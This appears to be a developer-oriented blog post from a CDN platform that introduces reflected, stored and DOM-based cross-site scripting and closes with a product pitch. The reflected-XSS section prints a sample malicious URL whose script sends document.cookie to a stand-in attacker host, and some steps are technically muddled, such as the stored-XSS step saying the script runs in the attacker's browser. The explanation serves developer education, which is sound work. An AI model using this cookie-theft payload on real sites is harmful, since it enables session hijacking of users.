/ Application Security

App Security: Introducing Cross-Site Scripting

When it comes to weaving together distributed applications, backends, and services, many developers wonder whether their applications become more vulnerable to common exploits. Whether that's the case or not, if you're putting any service between your applications and your user-base, you should have a solid understanding of some common vulnerabilities.

Hack the Planet!

The web has evolved from its static roots into robust, wild, and tangled dynamic applications. While offensive computing is nowhere near as radical as ZeroCool and the Gang made it seem in the 90s, malicious actors are in heavy supply. Developers of all skill-and-stack levels should know the basics of application vulnerabilities. We'll start with that then roll into Cross-Site Scripting, or XSS.


Web Application hacking is less brute-force and more cloak-and-dagger. In most cases, applications are exploited by swindling the web server into thinking that something malicious was the typical, safe input that it expected. HTTP works through request and response; this is a by-product of ephemeral HTTP connections and the distance between the client and the server. It is within this exchange and over this distance where trouble is often afoot.

Thanks to Transport Layer Security (TLS), the tunnel that encapsualtes HTTP to make an HTTPS connection, the traffic in transit can be considered relatively safe from prying eyes. This shifts the attack vector. Assuming safer pipes, the client and the server are where someone would start poking.


Security is an ever-shifting endeavour. Taking the time to fully under-stand the flaws of your architecture can be fruitless. In each component update and change to your code you've shifted the playing-field. Due to this volatiltiy and the lack of up-front reward for good security when compared to a desirable feature, it's no surprise that security is often left up to a week-long consultancy near the end of a product life-cycle. Afterall, if the Conjoined Triangles of Success taught us anything, it would be compromise.


Security threats can range from disruptive: a Distributed Denial of Service attack causing service blockages and an inflated hosting or CDN bill, to catastrophic: thievery of customer information or exploitation of business logic to steal information or money. Any sort of system distruption is a critical event but those that shake the integrity of information security have lasting consequences.

As anyone who has ever taken Kali Linux for a whirl knows, there are many weapons with which one can mount a cyber-attack. Luckily for the developer, there are just as many shields and defensive practices. The most important tools are: a deep understanding of your own systems, code and libraries, fully aware monitoring, and last but not least: application logic that limits client access and appropriately sanitizes inputs.

It is user input that is the trojan-horse that enables modern XSS attacks to take place. Visitors send in a nice wooden horse (or rabbit) of unique content but out may spring ne'r-do-wells clad in nasty JavaScript. Without further ado, onwards to XSS.


Three Kinds o' Nasty

Most modern web applications provide an encrypted cookie to a visitor to confirm that they have logged in; the cookie is a unique, tokenized key-pass that renables access to a user's privatized data. Once the user receives this token it's attached to each subsequent user request. It verifies the user's identity until the session has been ended or the cookie expires.

There are three different kinds of XSS attacks. The end-goal is the same: trick a user into sending their active token to the attacker. Once the attacker has this token they're free to do what they wilt with the user's account. XSS attacks are some of the nasiest and most common and are considered by many the Holy Grail of application attack.

Reflected/First-Order XSS

Depressingly, most exploitations work because they abuse trust. Browsers have baked in trust-based protection around the same-origin policy. It is because of the same-origin policy that one is protected in a case where...

Someone has a site where they perform ill-activities: stealyourpassword.~~~. If you have an active session token to trusted-site.~~~ and you happen to visit stealyourpassword.~~~ they won't be able to run scripts to steal that token because the domains do not share the same origin. Browsers ensure that a script executing from stealyourpassword.~~~ should not be able to yoink your trustedsite.~~~ session.

The same-origin policy is useful for preventing inter-domain shenanignas. HTTPS is useful for preventing inter-connection shenanigans, between the client and the server; if you don't have HTTPS, imagine how easy it would be to hoodwink users into clicking on a phony URL that would jack their session. It is a simple matter of intercepting and adjusting packets in transit, a relative cake-walk when things zip around in TLS-less plain-text.

But even with these things we're still vulnerable, as we see in the XSS dance...

  • A user logs in to trustedsite.~~~.

  • Elsewhere, the user is fed a fishy URI by the attacker. Perhaps they're spear-phished. The URI has been adjusted to include bad JavaScript. For example, if your site has an error modal that executes a script, the attacker could slip in something like this: trusted-site.~~~/Error.asp?message=<script>var+i=new+Image;+i.src=”http://stealyourpassword~~~/”%2bdocument.cookie;</script>

  • The user clicks this URL. A request is sent to the server as it appears to be from the same origin as trustedsite.~~~; bad code is coupled with a good request.

  • The server responds and the JavaScript: <script>var+i=new+Image;+i.src=”stealyourpassword~~~/”%2bdocument.cookie;</script> is sent to the user's browser where it invokes and shoots the active session token over to stealyourpassword~~~ where the attacker awaits.

  • The attacker uses the token to become the user.

The user has been... Dramatic pause... owned.


Stored XSS

Richness is the rage. Many popular pages revolve around the idea of user-generated content. We identified user input as a key area of weakness within modern applications. Our first XSS example didn't involve user input - it inolved exploiting server output. Most browsers and frameworks fix that vector out of the box, preventing weird JavaScript from winding up in URIs ripe for exploitation.

A stored XSS attack is one where the content, as the name and section introduction imply, is stored within the server after being placed there by an attacker. An application that allows the submission of any content is vulnerable; whether the content is public or private to the user matters not, the idea is similar to that of Reflected/First-Order XSS: you want an un-suspecting person to click a bogus link.

This is how Stored attacks shake out...

  • The attacker submits a text string, url, object, that contains malicious JavaScript to the server.

  • The user logs into the application and views the object containing the malicious code. Perhaps the user is an administrator filtering content or another end-user trying to get a question answered or explore content.

  • The server responds with the bad JavaScript.

  • The JavaScript executes in the attackers browser.

  • The user's session token is sent to the attacker.

  • The attacker uses the token to become the user.

... Owned!


Trust: exploited. These attacks are more subversive than Reflected/First-Order attacks because they abuse the basic assumption of trust that a site go-er has. The average user will not assume ill-nature when browsing content within a trusted domain.


To understand DOM-Based XSS, one must understand a fundamental piece of client-side JavaScript: the Document Object Model. First, the flow:

  • A user logs into a trusted property.

  • An attacker sends a bunk URI to the user; similar to Reflected/First-Order, that could be: spear-phishing, social engineering, illusion, black-magic; there are many forms of black-magic. The URI contains hard-coded JavaScript instead of a tidy script like Reflected/First-Order.

  • The user requests the bunk URI.

  • The server returns a response that does not invoke a script. It simply returns the hard-coded JavaScript. But because of the tenacity of the DOM the script is loaded anyways as the code is compiled by the browser.

  • The user's data is sent to the attacker.

  • The attacker uses the token to become the user.


Deliver Us, Serenity

XSS attacks are alive and well. There have been many high-profile exploits, including Facebook and LinkedIn. When you see how they work it becomes clear that one needs to pay careful attention to sanitizing what users are able to input into their applications.

While Reflected/First-Order XSS attacks have largely been mitigated by the constant wave of application framework and browser improvements, Stored and DOM based attacks happen everywhere developers are strapped for time -- which is to say... everywhere.

XSS vulnerabilities reveal an unfortunate reality: your users will be hoodwinked. Assume that a user will click on something malicious. Whether it's within your own pages, such as with Stored XSS attacks or targeted through some social engineering crookery, users will click bad things. As application development evolves, one hopes we can create better safety nets.

Let's thread back into the original premise. If you're using a delivery network of some kind, does that make your applications more vulnerable to XSS-based attacks? Theoretically, no. For there to be an increase in danger there would need to be an increase in the likelihood that a user could impersonate a trusted domain in order to get it to vouch for bad code. There is no evidence of that being the case. Although, as is the case with any service you use, you need to apply a degree of trust.

Fly is a platform that helps you build and launch dynamic applications to users around the world. It's a bit like a global load balancer, a smart reverse proxy, a CDN, a library of powerful Middleware; woven together, it's a fast, powerful, and intuitive network that creators like you control. It's free to sign-up, as are your first 2,000,000 requests and 100GB of data transfer every month.

Kellen Evan Person


Kellen Evan Person

A polite, forest-dwelling Canadian who enjoys coding and writing. He's spent near two decades building web applications and strives to keep development fun and light-hearted.

North Vancouver, Canada